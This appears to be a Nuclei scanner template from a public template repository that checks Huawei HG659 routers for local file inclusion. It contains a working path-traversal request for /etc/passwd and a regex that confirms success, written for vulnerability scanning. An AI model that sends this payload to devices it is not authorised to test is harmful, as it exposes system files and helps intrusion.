nuclei-templates/vulnerabilities/other/huawei-hg659-lfi.yaml

27 lines
488 B
YAML
Raw Normal View History

2021-06-24 15:41:18 +00:00
id: huawei-hg659-lfi
info:
name: HUAWEI HG659 LFI
author: pikpikcu
severity: high
reference:
2021-06-24 15:41:18 +00:00
- https://twitter.com/sec715/status/1406782172443287559
tags: lfi,huawei
requests:
- method: GET
path:
- "{{BaseURL}}/lib///....//....//....//....//....//....//....//....//etc//passwd"
matchers-condition: and
matchers:
- type: regex
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-06-24 15:41:18 +00:00
condition: and
- type: status
status:
- 200